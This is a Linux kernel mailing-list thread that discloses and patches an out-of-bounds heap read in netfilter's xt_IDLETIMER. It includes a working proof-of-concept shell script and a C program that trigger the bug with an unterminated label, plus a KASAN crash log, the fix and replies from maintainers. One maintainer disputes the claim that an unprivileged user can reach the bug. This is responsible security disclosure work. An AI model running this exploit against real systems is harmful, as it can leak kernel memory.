netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry
Subsystems (2)
cover netfilter: xt_IDLETIMER: fix out-of-bounds heap read in checkentry
From: Luxiao Xu <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/xt_IDLETIMER.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
Both idletimer_tg_checkentry() and idletimer_tg_checkentry_v1() in net/netfilter/xt_IDLETIMER.c invoke pr_debug("checkentry targinfo%s\n", info->label) before idletimer_tg_helper() validates whether the 28-byte user-controlled info->label buffer is properly NUL-terminated.
When an unprivileged user creates a user + network namespace (unshare -Urn), they obtain namespaced CAP_NET_ADMIN and can invoke setsockopt(..., IPT_SO_SET_REPLACE, ...) with a custom label containing no NUL byte.
When dynamic debugging is enabled (or in kernels built with DEBUG), pr_debug() formats the string via vsnprintf() -> string(), which scans past the end of the allocated target structure until it encounters a zero byte. This results in a slab-out-of-bounds heap read (detectable by KASAN) and potential information disclosure through kernel logs.
Reproducer:
chmod +x poc.sh
unshare -Urn ./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$dir"
echo 0 > /proc/sys/kernel/panic_on_warn
echo 8 > /proc/sys/kernel/printk
echo 'file net/netfilter/xt_IDLETIMER.c +p' > /proc/dynamic_debug/control
make clean >/dev/null 2>&1 || true
make
./poc
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/netfilter.h>
#include <linux/netfilter/xt_IDLETIMER.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
struct ipt_standard {
struct ipt_entry entry;
struct xt_standard_target target;
};struct idletimer_payload_v0 {
struct xt_entry_target target;
struct idletimer_tg_info info;
};struct idletimer_rule_v0 {
struct ipt_entry entry;
struct idletimer_payload_v0 payload;
};static void init_standard_accept(struct ipt_standard *rule)
{
memset(rule, 0, sizeof(*rule));
rule->entry.target_offset = sizeof(rule->entry);
rule->entry.next_offset = sizeof(*rule);
rule->target.target.u.user.target_size = XT_ALIGN(sizeof(rule->target));
rule->target.verdict = -NF_ACCEPT - 1;
}static void init_malicious_rule(struct idletimer_rule_v0 *rule)
{
memset(rule, 0, sizeof(*rule));
rule->entry.target_offset = sizeof(rule->entry);
rule->entry.next_offset = sizeof(*rule);
rule->payload.target.u.user.target_size =
XT_ALIGN(sizeof(rule->payload));
strncpy(rule->payload.target.u.user.name, "IDLETIMER",
sizeof(rule->payload.target.u.user.name));
rule->payload.info.timeout = 1;
memset(rule->payload.info.label, 'A', sizeof(rule->payload.info.label));
memset(&rule->payload.info.timer, 'B', sizeof(rule->payload.info.timer));
}static int get_filter_info(int fd, struct ipt_getinfo *info)
{
socklen_t len = sizeof(*info);
memset(info, 0, sizeof(*info));
strncpy(info->name, "filter", sizeof(info->name) - 1);
if (getsockopt(fd, IPPROTO_IP, IPT_SO_GET_INFO, info, &len) < 0)
return -1;
return 0;
}int main(void)
{
struct ipt_getinfo info;
struct ipt_replace *repl;
struct ipt_standard *input;
struct ipt_standard *forward;
struct ipt_standard *output;
struct idletimer_rule_v0 *bug;
size_t payload_size;
size_t total_len;
char *cursor;
int fd;
int ret;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
return 1;
}
if (get_filter_info(fd, &info) < 0) {
perror("getsockopt(IPT_SO_GET_INFO)");
close(fd);
return 1;
}
payload_size = sizeof(*input) + sizeof(*forward) + sizeof(*output) +
sizeof(*bug);
total_len = sizeof(*repl) + payload_size;
repl = calloc(1, total_len);
if (!repl) {
perror("calloc");
close(fd);
return 1;
}
strncpy(repl->name, "filter", sizeof(repl->name) - 1);
repl->valid_hooks = info.valid_hooks;
repl->num_entries = 4;
repl->size = payload_size;
repl->num_counters = info.num_entries;
cursor = (char *)repl->entries;
input = (struct ipt_standard *)cursor;
init_standard_accept(input);
repl->hook_entry[NF_INET_LOCAL_IN] = cursor - (char *)repl->entries;
repl->underflow[NF_INET_LOCAL_IN] = cursor - (char *)repl->entries;
cursor += sizeof(*input);
forward = (struct ipt_standard *)cursor;
init_standard_accept(forward);
repl->hook_entry[NF_INET_FORWARD] = cursor - (char *)repl->entries;
repl->underflow[NF_INET_FORWARD] = cursor - (char *)repl->entries;
cursor += sizeof(*forward);
output = (struct ipt_standard *)cursor;
init_standard_accept(output);
repl->hook_entry[NF_INET_LOCAL_OUT] = cursor - (char *)repl->entries;
repl->underflow[NF_INET_LOCAL_OUT] = cursor - (char *)repl->entries;
cursor += sizeof(*output);
bug = (struct idletimer_rule_v0 *)cursor;
init_malicious_rule(bug);
printf("table valid_hooks=0x%x old_num_entries=%u new_size=%u\n",
info.valid_hooks, info.num_entries, repl->size);
printf("malicious label bytes=%zu timer bytes=%zu\n",
sizeof(bug->payload.info.label), sizeof(bug->payload.info.timer));
fflush(stdout);
ret = setsockopt(fd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, total_len);
if (ret < 0)
perror("setsockopt(IPT_SO_SET_REPLACE)");
else
puts("setsockopt(IPT_SO_SET_REPLACE) unexpectedly succeeded");
free(repl);
close(fd);
return ret < 0 ? 0 : 1;
}------END poc.c--------
----BEGIN crash log----
[ 586.594104][ T9476] =============================================== label bytes=28 t[ 586.594924][ T9476] BUG: KASAN: slab-out-of-bounds in string0 imer bytes=8 [ 586.595763][ T9476] Read of size 1 at addr ffff8880383d4ac0 by task poc/9476 [ 586.596619][ T9476] [ 586.596947][ T9476] CPU: 1 UID: 0 PID: 9476 Comm: poc Not tainted 7.0.0-rc6- [ 586.596955][ T9476] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4 [ 586.596971][ T9476] Call Trace: [ 586.596983][ T9476] <TASK> [ 586.596986][ T9476] dump_stack_lvl+0x10e/0x1f0 [ 586.597025][ T9476] print_report+0xf7/0x600 [ 586.597086][ T9476] ? preempt_count_sub+0x13/0xd0 [ 586.597130][ T9476] ? __virt_addr_valid+0x1ab/0x330 [ 586.597180][ T9476] ? __phys_addr+0x41/0x90 [ 586.597188][ T9476] ? string+0x177/0x340 [ 586.597194][ T9476] kasan_report+0xe4/0x120 [ 586.597213][ T9476] ? string+0x177/0x340 [ 586.597220][ T9476] string+0x177/0x340 [ 586.597227][ T9476] ? __pfx_string+0x10/0x10 [ 586.597233][ T9476] ? lock_release+0x225/0x2f0 [ 586.597254][ T9476] vsnprintf+0x2c2/0xb20 [ 586.597266][ T9476] ? __pfx_vsnprintf+0x10/0x10 [ 586.597272][ T9476] ? unwind_next_frame+0x269/0x10a0 [ 586.597285][ T9476] va_format+0x17b/0x340 [ 586.597292][ T9476] ? lock_release+0x1ba/0x2f0 [ 586.597297][ T9476] ? __rcu_read_unlock+0x4b/0x340 [ 586.597321][ T9476] ? __pfx_va_format+0x10/0x10 [ 586.597328][ T9476] ? is_bpf_text_address+0x94/0x1a0 [ 586.597361][ T9476] ? unwind_get_return_address+0x32/0x50 [ 586.597368][ T9476] ? rcu_is_watching+0x3d/0x80 [ 586.597380][ T9476] pointer+0x6d2/0xa50 [ 586.597386][ T9476] ? format_decode+0x2ef/0x760 [ 586.597391][ T9476] ? __pfx_pointer+0x10/0x10 [ 586.597397][ T9476] ? is_bpf_text_address+0x8a/0x1a0 [ 586.597404][ T9476] ? rcu_is_watching+0x3d/0x80 [ 586.597411][ T9476] vsnprintf+0x794/0xb20 [ 586.597418][ T9476] ? __pfx_vsnprintf+0x10/0x10 [ 586.597424][ T9476] ? __rcu_read_unlock+0x4b/0x340 [ 586.597430][ T9476] vprintk_store+0x35c/0x9c0 [ 586.597445][ T9476] ? arch_stack_walk+0xa6/0xf0 [ 586.597462][ T9476] ? __pfx_vprintk_store+0x10/0x10 [ 586.597470][ T9476] ? stack_trace_save+0x8e/0xc0 [ 586.597485][ T9476] ? stack_depot_save_flags+0x29/0x990 [ 586.597540][ T9476] ? is_printk_cpu_sync_owner+0x32/0x40 [ 586.597548][ T9476] vprintk_emit+0x123/0x670 [ 586.597555][ T9476] ? __pfx_vprintk_emit+0x10/0x10 [ 586.597562][ T9476] ? is_bpf_text_address+0x8a/0x1a0 [ 586.597568][ T9476] ? rcu_is_watching+0x3d/0x80 [ 586.597575][ T9476] ? pcpu_next_md_free_region+0x99/0x220 [ 586.597614][ T9476] _printk+0xc7/0x100 [ 586.597620][ T9476] ? __pfx__printk+0x10/0x10 [ 586.597626][ T9476] ? lock_acquire+0x303/0x360 [ 586.597631][ T9476] ? rcu_is_watching+0x3d/0x80 [ 586.597639][ T9476] __dynamic_pr_debug+0x1f4/0x260 [ 586.597654][ T9476] ? __pfx___dynamic_pr_debug+0x10/0x10 [ 586.597661][ T9476] ? rcu_is_watching+0x3d/0x80 [ 586.597668][ T9476] ? __pfx___mutex_lock+0x10/0x10 [ 586.597682][ T9476] ? xt_check_target_common+0x1c8/0x670 [ 586.597732][ T9476] ? idletimer_tg_checkentry+0x1d/0x700 [ 586.597753][ T9476] idletimer_tg_checkentry+0x1fc/0x700 [ 586.597768][ T9476] ? __pfx_idletimer_tg_checkentry+0x10/0x10 [ 586.597779][ T9476] xt_check_target+0xb8/0x100 [ 586.597787][ T9476] find_check_entry.isra.0+0x56c/0x5d0 [ 586.597824][ T9476] ? __pfx_find_check_entry.isra.0+0x10/0x10 [ 586.597831][ T9476] ? trace_irq_enable.constprop.0+0xfd/0x120 [ 586.597853][ T9476] ? kfree+0x2e2/0x6c0 [ 586.597861][ T9476] ? translate_table+0x766/0xce0 [ 586.597868][ T9476] ? xt_check_table_hooks+0x1bf/0x2e0 [ 586.597874][ T9476] translate_table+0x7e3/0xce0 [ 586.597881][ T9476] ? __pfx_translate_table+0x10/0x10 [ 586.597888][ T9476] do_ipt_set_ctl+0x3fd/0x9a0 [ 586.597895][ T9476] ? __pfx_do_ipt_set_ctl+0x10/0x10 [ 586.597907][ T9476] ? preempt_count_sub+0x13/0xd0 [ 586.597913][ T9476] ? __mutex_unlock_slowpath+0x2a2/0x640 [ 586.597920][ T9476] ? sockopt_release_sock+0x40/0x50 [ 586.597944][ T9476] ? __pfx___mutex_unlock_slowpath+0x10/0x10 [ 586.597953][ T9476] nf_setsockopt+0x7b/0xc0 [ 586.597970][ T9476] ip_setsockopt+0xcb/0xf0 [ 586.597994][ T9476] tcp_setsockopt+0x83/0xd0 [ 586.598009][ T9476] ? __pfx_sock_common_setsockopt+0x10/0x10 [ 586.598020][ T9476] do_sock_setsockopt+0xc3/0x170 [ 586.598031][ T9476] __sys_setsockopt+0x122/0x180 [ 586.598037][ T9476] __x64_sys_setsockopt+0x64/0x80 [ 586.598042][ T9476] do_syscall_64+0x116/0x800 [ 586.598050][ T9476] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 586.598066][ T9476] RIP: 0033:0x7f7e1c3850fa [ 586.598086][ T9476] Code: ff ff ff c3 0f 1f 40 00 48 8b 15 91 0d 0d 00 f7 d88 [ 586.598092][ T9476] RSP: 002b:00007fff020d1e88 EFLAGS: 00000206 ORIG_RAX: 006 [ 586.598106][ T9476] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f7a [ 586.598109][ T9476] RDX: 0000000000000040 RSI: 0000000000000000 RDI: 00000003 [ 586.598112][ T9476] RBP: 00005576744652a0 R08: 00000000000002e0 R09: 00007ff7 [ 586.598116][ T9476] R10: 00005576744652a0 R11: 0000000000000206 R12: 00000003 [ 586.598119][ T9476] R13: 0000000000000000 R14: 0000000000000000 R15: 00000000 [ 586.598124][ T9476] </TASK> [ 586.598126][ T9476] [ 586.646461][ T9476] Allocated by task 9476: [ 586.646897][ T9476] kasan_save_stack+0x33/0x60 [ 586.647409][ T9476] kasan_save_track+0x14/0x30 [ 586.648016][ T9476] __kasan_kmalloc+0xaa/0xb0 [ 586.648505][ T9476] __kvmalloc_node_noprof+0x394/0x9a0 [ 586.649081][ T9476] xt_alloc_table_info+0x44/0x80 [ 586.649607][ T9476] do_ipt_set_ctl+0x38a/0x9a0 [ 586.650115][ T9476] nf_setsockopt+0x7b/0xc0 [ 586.650597][ T9476] ip_setsockopt+0xcb/0xf0 [ 586.651074][ T9476] tcp_setsockopt+0x83/0xd0 [ 586.651565][ T9476] do_sock_setsockopt+0xc3/0x170 [ 586.652106][ T9476] __sys_setsockopt+0x122/0x180 [ 586.652623][ T9476] __x64_sys_setsockopt+0x64/0x80 [ 586.653104][ T9476] do_syscall_64+0x116/0x800 [ 586.653561][ T9476] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 586.654175][ T9476] [ 586.654412][ T9476] The buggy address belongs to the object at ffff8880383d40 [ 586.654412][ T9476] which belongs to the cache kmalloc-cg-1k of size 1024 [ 586.655785][ T9476] The buggy address is located 0 bytes to the right of [ 586.655785][ T9476] allocated 704-byte region [ffff8880383d4800, ffff888038) [ 586.657192][ T9476] [ 586.657417][ T9476] The buggy address belongs to the physical page: [ 586.658154][ T9476] page: refcount:0 mapcount:0 mapping:0000000000000000 ind0 [ 586.659181][ T9476] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapp0 [ 586.660035][ T9476] memcg:ffff8880383d0411 [ 586.660463][ T9476] flags: 0xfff00000000240(workingset|head|node=0|zone=1|la) [ 586.661339][ T9476] page_type: f5(slab) [ 586.661715][ T9476] raw: 00fff00000000240 ffff88801785d280 ffff88801785c648 0 [ 586.662552][ T9476] raw: ffff8880383d7000 000008000010000f 00000000f5000000 1 [ 586.663607][ T9476] head: 00fff00000000240 ffff88801785d280 ffff88801785c6480 [ 586.664452][ T9476] head: ffff8880383d7000 000008000010000f 00000000f50000001 [ 586.665341][ T9476] head: 00fff00000000003 fffffffffffffe01 00000000fffffffff [ 586.666235][ T9476] head: ffffffffffffffff 0000000000000000 00000000ffffffff8 [ 586.667122][ T9476] page dumped because: kasan: bad access detected [ 586.667801][ T9476] page_owner tracks the page as allocated [ 586.668367][ T9476] page last allocated via order 3, migratetype Unmovable, 4 [ 586.670332][ T9476] post_alloc_hook+0xe6/0x100 [ 586.670835][ T9476] get_page_from_freelist+0x55c/0x2210 [ 586.671357][ T9476] __alloc_frozen_pages_noprof+0x221/0x1cb0 [ 586.671957][ T9476] new_slab+0xa2/0x5f0 [ 586.672359][ T9476] refill_objects+0xe3/0x430 [ 586.672836][ T9476] __pcs_replace_empty_main+0x2ed/0x650 [ 586.673409][ T9476] __kmalloc_node_track_caller_noprof+0x68e/0x860 [ 586.673987][ T9476] kmalloc_reserve+0xa4/0x1f0 [ 586.674456][ T9476] __alloc_skb+0x172/0x470 [ 586.674923][ T9476] alloc_skb_with_frags+0x9f/0x4c0 [ 586.675430][ T9476] sock_alloc_send_pskb+0x5eb/0x630 [ 586.675940][ T9476] unix_stream_sendmsg+0x2dd/0xd60 [ 586.676514][ T9476] ____sys_sendmsg+0x78e/0x7c0 [ 586.677008][ T9476] ___sys_sendmsg+0x129/0x1b0 [ 586.677457][ T9476] __sys_sendmsg+0x133/0x1d0 [ 586.677937][ T9476] do_syscall_64+0x116/0x800 [ 586.678462][ T9476] page last free pid 1 tgid 1 stack trace: [ 586.679111][ T9476] __free_frozen_pages+0x52d/0x960 [ 586.679675][ T9476] qlist_free_all+0x47/0xf0 [ 586.680161][ T9476] kasan_quarantine_reduce+0x195/0x1e0 [ 586.680709][ T9476] __kasan_slab_alloc+0x69/0x90 [ 586.681194][ T9476] kmem_cache_alloc_noprof+0x23a/0x6d0 [ 586.681747][ T9476] do_getname+0x35/0x290 [ 586.682209][ T9476] __do_sys_newstat+0x8a/0x130 [ 586.682706][ T9476] do_syscall_64+0x116/0x800 [ 586.683147][ T9476] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 586.683722][ T9476] [ 586.683961][ T9476] Memory state around the buggy address: [ 586.684521][ T9476] ffff8880383d4980: 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 586.685316][ T9476] ffff8880383d4a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 586.686141][ T9476] >ffff8880383d4a80: 00 00 00 00 00 00 00 00 fc fc fc fc fc [ 586.686925][ T9476] ^ [ 586.687531][ T9476] ffff8880383d4b00: fc fc fc fc fc fc fc fc fc fc fc fc fc [ 586.688368][ T9476] ffff8880383d4b80: fc fc fc fc fc fc fc fc fc fc fc fc fc [ 586.689176][ T9476] =========================================================
-----END crash log-----
Best regards,
Luxiao Xu <[email protected]>
Ren Wei <[email protected]>
Luxiao Xu (1):
netfilter: xt_IDLETIMER: validate label before debug logging in
checkentry
net/netfilter/xt_IDLETIMER.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)
Signature · 1 line
2.43.0
PATCH 1/1 netfilter: xt_IDLETIMER: validate label before debug logging in checkentry
From: Luxiao Xu <[email protected]>
Both idletimer_tg_checkentry() and idletimer_tg_checkentry_v1() invoke pr_debug() with "%s" on info->label before idletimer_tg_helper() verifies that the 28-byte label is properly NUL-terminated.
If a user-supplied label is not NUL-terminated, printk format string parsing reads past the end of the allocated target structure until it encounters a zero byte. In builds with DEBUG enabled or when dynamic debug is active for this callsite, this triggers a slab-out-of-bounds read (detected by KASAN) and can disclose adjacent kernel memory into the logs.
Fix this by moving the pr_debug() calls after idletimer_tg_helper() has successfully validated the label string.
--- net/netfilter/xt_IDLETIMER.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)
net/netfilter/xt_IDLETIMER.c +5 -4
@@ -318,14 +318,15 @@ static int idletimer_tg_checkentry(const struct xt_tgchk_param *par)struct idletimer_tg_info *info = par->targinfo;int ret; -pr_debug ("checkentry targinfo%s\n" , info->label); - ret =idletimer_tg_helper (info);if (ret <0 ) {pr_debug ("checkentry helper return invalid\n" );return -EINVAL ; } + +pr_debug ("checkentry targinfo%s\n" , info->label); +mutex_lock (&list_mutex); info->timer =__idletimer_tg_find_by_label (info->label);
@@ -360,8 +361,6 @@ static int idletimer_tg_checkentry_v1(const struct xt_tgchk_param *par)struct idletimer_tg_info_v1 *info = par->targinfo;int ret; -pr_debug ("checkentry targinfo%s\n" , info->label); -if (info->send_nl_msg)return -EOPNOTSUPP ;
@@ -372,6 +371,8 @@ static int idletimer_tg_checkentry_v1(const struct xt_tgchk_param *par)return -EINVAL ; } +pr_debug ("checkentry targinfo%s\n" , info->label); +if (info->timer_type >XT_IDLETIMER_ALARM ) {pr_debug ("invalid value for timer type\n" );return -EINVAL ;
Signature · 1 line
2.43.0
Re: [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging in checkentry
Quoted 15 lines · Ren Wei
From: Luxiao Xu <[email protected]>
Both
idletimer_tg_checkentry()andidletimer_tg_checkentry_v1()invokepr_debug()with "%s" oninfo->labelbeforeidletimer_tg_helper()verifies that the 28-byte label is properly NUL-terminated.If a user-supplied label is not NUL-terminated, printk format string parsing reads past the end of the allocated target structure until it encounters a zero byte. In builds with DEBUG enabled or when dynamic debug is active for this callsite, this triggers a slab-out-of-bounds read (detected by KASAN) and can disclose adjacent kernel memory into the logs.
Fix this by moving the
pr_debug()calls afteridletimer_tg_helper()has successfully validated the label string.
Quoted 8 lines
Fixes 0902b469bd25 ("netfilter: xtables: idletimer target implementation")Fixes 68983a354a65 ("netfilter: xtables: Add snapshot of hardidletimer target")Reported-by Vega <[email protected]>Assisted-by Codex:gpt-5.4Signed-off-by Luxiao Xu <[email protected]>Signed-off-by Ren Wei <[email protected]>---
Thanks!
Florian Westphal
maintainerRe: [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging in checkentry
In reply to Ren WeiQuoted 2 lines · Ren Wei
Fix this by moving the
pr_debug()calls afteridletimer_tg_helper()has successfully validated the label string.
I think it would be better to just zap this pr_debug, I don't think it provides any benefit to have it.
Re: [PATCH nf 1/1] netfilter: xt_IDLETIMER: validate label before debug logging in checkentry
Quoted 7 lines · Florian Westphal <[email protected]> 于2026年8月18日周二 18:14写道:
Quoted 2 lines · Ren Wei
Fix this by moving the
pr_debug()calls afteridletimer_tg_helper()has successfully validated the label string.I think it would be better to just zap this
pr_debug, I don't think it provides any benefit to have it.
Thanks for the feedback. I see that Pablo has already addressed this in commit f43358489db4 ("netfilter: x_tables: remove pr_debug"). Therefore, no further v2 is needed from our side. Thanks for the quick handling.
Pablo Neira Ayuso
maintainerQuoted 9 lines · Ren Wei
From: Luxiao Xu <[email protected]>
Hi Linux kernel maintainers,
We found and validated an issue in
net/netfilter/xt_IDLETIMER.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality.We will provide detailed information about the bug in this email, along with a PoC to trigger it.
Quoted 7 lines
---- details below ----
Bug details:
Both
idletimer_tg_checkentry()andidletimer_tg_checkentry_v1()innet/netfilter/xt_IDLETIMER.cinvokepr_debug("checkentry targinfo%s\n", info->label)beforeidletimer_tg_helper()validates whether the 28-byte user-controlledinfo->labelbuffer is properly NUL-terminated.When an unprivileged user creates a user + network namespace (
unshare -Urn), they obtain namespacedCAP_NET_ADMINand can invokesetsockopt(..., IPT_SO_SET_REPLACE, ...)with a customlabelcontaining no NUL byte.
You have to enable pr_debug to trigger this, you cannot do it from from user namespace.